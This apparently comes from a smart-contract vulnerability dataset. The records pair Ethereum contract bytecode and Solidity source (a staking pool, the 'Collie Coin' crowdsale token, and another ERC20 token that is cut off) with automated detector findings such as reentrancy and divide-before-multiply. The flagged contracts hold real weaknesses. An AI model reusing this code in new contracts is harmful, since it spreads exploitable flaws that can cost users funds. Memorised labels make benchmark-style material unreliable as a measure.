ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118af9092919063ffffffff16565b610bbf61170a565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f6876a213a761d9b4f8d7ba3609528ef85da671684271f75fdacb41be8db29f45836040518082815260200191505060405180910390a35b505060018081905550565b6000610c39611398565b600b81905550610c47610f5e565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d1457610c8a81610676565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d1c610fb8565b610d8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da36006548361163890919063ffffffff16565b60098190555042600a8190555042600781905550610dcc6006544261168290919063ffffffff16565b6008819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e27610fb8565b610e99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b6000610f6c42600854611980565b905090565b600c6020528060005260406000206000915090505481565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ffa61170a565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b61101e61170a565b611026611398565b600b81905550611034610f5e565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146111015761107781610676565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600754421015611179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4572726f723a506f6f6c206e6f742073746172746564207965742e000000000081525060200191505060405180910390fd5b600082116111ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b600e60006111fb61170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112ab5769010f0cf064dd592000008210156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806122256034913960400191505060405180910390fd5b5b6112b482611999565b6001600e60006112c261170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061131b61170a565b73ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000806113a36107c1565b14156113b357600b54905061142d565b61142a6114196113c16107c1565b61140b670de0b6b3a76400006113fd6009546113ef600a546113e1610f5e565b61156890919063ffffffff16565b6115b290919063ffffffff16565b6115b290919063ffffffff16565b61163890919063ffffffff16565b600b5461168290919063ffffffff16565b90505b90565b600b5481565b61144e61144961144461170a565b610dd6565b6107cb565b61145661098e565b565b60085481565b611466610fb8565b6114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6114e181611b77565b50565b6114ec610fb8565b61155e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060068190555050565b60006115aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cbb565b905092915050565b6000808314156115c55760009050611632565b60008284029050828482816115d657fe5b041461162d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122046021913960400191505060405180910390fd5b809150505b92915050565b600061167a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d7b565b905092915050565b600080828401905083811015611700576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b6002600154141561178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506117a88160035461156890919063ffffffff16565b60038190555061180781600460006117be61170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156890919063ffffffff16565b6004600061181361170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a561185c61170a565b82600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118af9092919063ffffffff16565b6001808190555050565b61197b838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611e41565b505050565b600081831061198f5781611991565b825b905092915050565b60026001541415611a12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506000611a56611a476103e8611a396014866115b290919063ffffffff16565b61163890919063ffffffff16565b8361156890919063ffffffff16565b9050611a6d8160035461168290919063ffffffff16565b600381905550611acc8160046000611a8361170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168290919063ffffffff16565b60046000611ad861170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6c611b2161170a565b3084600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661208c909392919063ffffffff16565b506001808190555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bfd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121de6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611d68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d2d578082015181840152602081019050611d12565b50505050905090810190601f168015611d5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611e27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611dec578082015181840152602081019050611dd1565b50505050905090810190601f168015611e195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611e3357fe5b049050809150509392505050565b611e608273ffffffffffffffffffffffffffffffffffffffff16612192565b611ed2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611f215780518252602082019150602081019050602083039250611efe565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611f83576040519150601f19603f3d011682016040523d82523d6000602084013e611f88565b606091505b509150915081612000576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156120865780806020019051602081101561201f57600080fd5b8101908080519060200190929190505050612085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612259602a913960400191505060405180910390fd5b5b50505050565b61218c848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611e41565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156121d45750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774572726f723a466f7220496e697469616c20656e747279203530303020746f6b656e206d7573742062652072657175697265642e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820195f11fa5e7ea79878ac2bba266143ae40050892158bee36921361322cd954a664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,545
0x55318D1d738fCBF5360b7bB6d86181D2c6Afa947
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 140000000000000000*10**1; uint256 public constant basePrice = 426756485550000*10**1; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1*10**1; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title CollieCoin * @dev Contract to create the Collie Coin **/ contract CollieCoin is CrowdsaleToken { string public constant name = "Collie Coin"; string public constant symbol = "COLL"; uint32 public constant decimals = 1; }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e87660f2953df449ce063ffffffff61065e16565b9063ffffffff61068d16565b93506000925067136dcc951d8c00006101be856003546106a290919063ffffffff16565b111561022c576003546101e09067136dcc951d8c00009063ffffffff6106af16565b9150610211670de0b6b3a764000061020584660f2953df449ce063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d9067136dcc951d8c00009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e118339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e118339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf1565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c8a565b34801561064957600080fd5b50610532600160a060020a0360043516610cb5565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600b81527f436f6c6c696520436f696e000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e11833981519152929181900390910190a35060019392505050565b600181565b67136dcc951d8c000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d4a565b565b60408051808201909152600481527f434f4c4c00000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e118339815191529281900390910190a350600192915050565b60045481565b660f2953df449ce081565b600a81565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c25908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610ccc57600080fd5b600160a060020a0381161515610ce157600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dd357600454600554600160a060020a0316600090815260208190526040902054610db79163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e0d573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582047273de86c7044422a302987e37b2a8421a4569852bde7ec93f2b1f703a5dde80029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,546
0x43ebdd16ef68bab63eddd76d01790812773b2b3a
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint 